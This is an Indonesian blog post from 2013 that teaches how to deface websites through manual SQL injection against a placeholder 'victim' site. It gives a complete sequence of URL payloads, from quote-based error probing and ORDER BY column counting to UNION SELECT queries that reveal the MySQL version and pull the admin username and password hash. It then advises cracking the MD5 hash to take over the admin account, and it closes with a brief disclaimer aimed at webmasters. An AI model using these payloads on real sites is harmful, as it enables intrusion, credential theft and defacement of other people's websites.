Sunday, November 24, 2013

Cara Mendeface Website Tanpa Bantuan Software.

Men-deface sebuah situs itu sebenarnya pekerjaan yang tidak terlalu sulit. Bahkan untuk sekelas Hacker pemula dapat melakukannya. Banyak sekali software yang dapat digunakan seperti Havij dan sejenisnya, dan tinggal mengikuti langkahnya, semuanya jadi mudah. Tinggal cari Dork-nya, kemudian identifikasi situs korban, dan eksekusi.
Namun, ada dasar teknik tanpa software yang dapat kita lakukan. Teknik ini sebenarnya agak rumit, namun akan saya coba sederhanakan agar mudah dipraktekkan.
Sebelumnya kita harus tahu dulu yang dimaksud defacing itu sebenarnya apa. Defacing adalah tindakan untuk mengganti file index.html atau index.php situs korban dengan file yang kita miliki. Ketika file index.html atau index.php situs korban kita ganti dengan index.html atau index.php yang kita inginkan, praktis publik akan hanya melihat index.html ataupun index.php yang kita miliki.
Pengetahuan dasar yang harus dimiliki untuk melakukan defacing.
  1. SQL Injection (Untuk menganalisis loop website)
  2. Sandi Admin 
  3. Shell Script (untuk mendapatkan Kontrol Admin)
Sekarang, mari kita coba dengan cara yang paling sederhana agar mudah dipahami.
Langkah pertama adalah dengan menguji kerentanan situs korban. Misalnya saja kita mengidentifkasi situs korban sebagai berikut: http://www.korban.com/news.php?id=5. Mari kita uji apakah situs tersebut aman atau mudah dideface. Lankah yang paling sederhana adalah dengan menamnahkan tanda kutipan (‘) ke akhir url dari situs korban.
Dari contoh diatas, kemudian situs korban kita uji kerentanannya sebagai berikut:
 [code]http://www.korban.com/news.php?id=5 '[/code]
jadi jika kita mendapatkan beberapa error seperti dibawah ini:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…” atau sesuatu yang serupa yang berarti Situs rentan terhadap SQL injection.
Langkah kedua, setelah kita tahu betul bahwa situs korban tersebut rentan untuk di deface, kita lakukan langkah penemuan kolom dengan menggunakan perintah Order by. Kita lakukan pengurutan nomer sampai mendapatkan error. Sebagai contoh:
[code]http://www.korban.com/news.php?id=5 order by 1 / * <- tidak ada kesalahan
http://www.korban.com/news.php?id=5 order by 2 / * <- tidak ada kesalahan
http://www.korban.com/news.php?id=5 order by 3 / * <- tidak ada kesalahan
http://www.korban.com/news.php?id=5 order by 4 / * <- error (kita mendapatkan pesan seperti kolom ini '4 Unknown 'dalam' klausa order 'atau sesuatu seperti itu)
[/code]
Dari hasil tersebut, berarti bahwa MySQL situs korban memiliki 3 kolom, karena pada saat diurutkan (incrementing) sampai langkah ke empat terdapat error. 
Langkah ketiga adalah dengan melakukan pengujian fungsi  UNION. Dengan fungsi ini kita dapat memilih lebih banyak data dalam satu pernyataan sql.
Contohnya sebagai berikut:
[code]http://www.korban.com/news.php?id=5 union all select 1,2,3 (kita unionkan semua kolom yang sudah kita dapatkan dilangkah ke 2 diatas.)
[/code]

Catatan Penting: jika kita melihat beberapa nomor di layar monitor, yaitu 1 atau 2 atau 3 maka UNION bekerja.
Langkah keempat adalah melakukan pengujian pada versi MySQL situs korban dengan perintah tambahan tanda minus dua kali (–). Jadinya seperti dibawah ini:
[code]http://www.korban.com/news.php?id=5 union all select 1,2,3--
[/code]

Kemudian amati output yang muncul di monitor. Misalnya saja di monitor muncul angka 2, segera kita ganti URL target dengan kode “@@version” atau “version()” atau kode tertentu seperti “4.1.33″ atau yang mirip dengan angka tersebut.
URL target yang kita ganti adalah sebagai berikut:
[code]http://www.korban.com/news.php?id=5 union all select 1,@@version,3--
[/code]
Kemudian tekan enter (lakukan eksekusi).
Jika kemudian dilayar monitor muncul error sebagai berikut: “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”, kemudian langkah selanjutnya adalah melakukan konversi dengan mengubah URL target sebagai berikut:
[code]http://www.korban.com/news.php?id=5 union all select 1,convert(@@version using latin1),3
atau
http://www.korban.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3[/code]

Nah, versi dari MySQL situs korban dapat kita identifikasi.
Langkah selanjutnya adalah dengan mendeteksi nama-nama dari setiap kolom tabel databse situs korban. Jika versi MySQL nya dibawah versi 5, kita dapat mengira-iranya. Misalnya saja kalau Platformnya wordpress pastilah nama tabelnya sekitar wp-content, wp-users, wp-options dan seterusnya. Dan nama kolom umumnya adalah: username, user_name, password, pass, passwd, pwd dll ..
Coba kita lakukan pengecakan nama tabel dari MySQL situs korban dengan perintah dibawah ini:
[code]http://www.korban.com/news.php?id=5 union all select 1,2,3 from admin
[/code]
Jika di monitor muncul angka misalnya “2″, maka berarti bahwa nama tabel tersebut adalah benar. Langkah selanjutnya adalah mengidentifikasi nama kolom dalam tabel admin. Dengan mengganti angka 2 dengan nama kolom yang kita inginkan. Perintahnya adalah sebagai berikut:
[code]http://www.korban.com/news.php?id=5 union all select 1,username,3 from admin
[/code]

Jika muncul nama di layar monitor, maka itulah nama admin dari situs korban. Langkah selanjutnya adalah mengidentifikasi password admin.
[code]http://www.korban.com/news.php?id=5 union all select 1,password,3 from admin
[/code]
Jika dilayar muncul kode (biasanya dalam bentuk enkripsi MD5), maka sukseslah injeksi MySQL kita untuk selanjutnya melakukan deface. Kode yang muncul dilayar, kemudian kita catat, dan lakukan dekripsi MD5 dengan Decrypt MD5 Generator yang banyak beredar di internet. Setelah nama admin kita dapet, password admin kita dapet, terus langkah selanjutnya ya terserah Anda.
Tetapi perlu diingat, pengetahuan ini bukan digunakan untuk mengajarkan kejahatan. Tetapi dari semua langkah tersebut diatas dapat digunakan oleh webmaster situs bersangkutan untuk menguji kerentanan situsnya. Jika dicoba dengan cara ini kemudian berhasil, maka segera lakukan perbaikan. Jangan sampai terlambat.

0 comments:

Post a Comment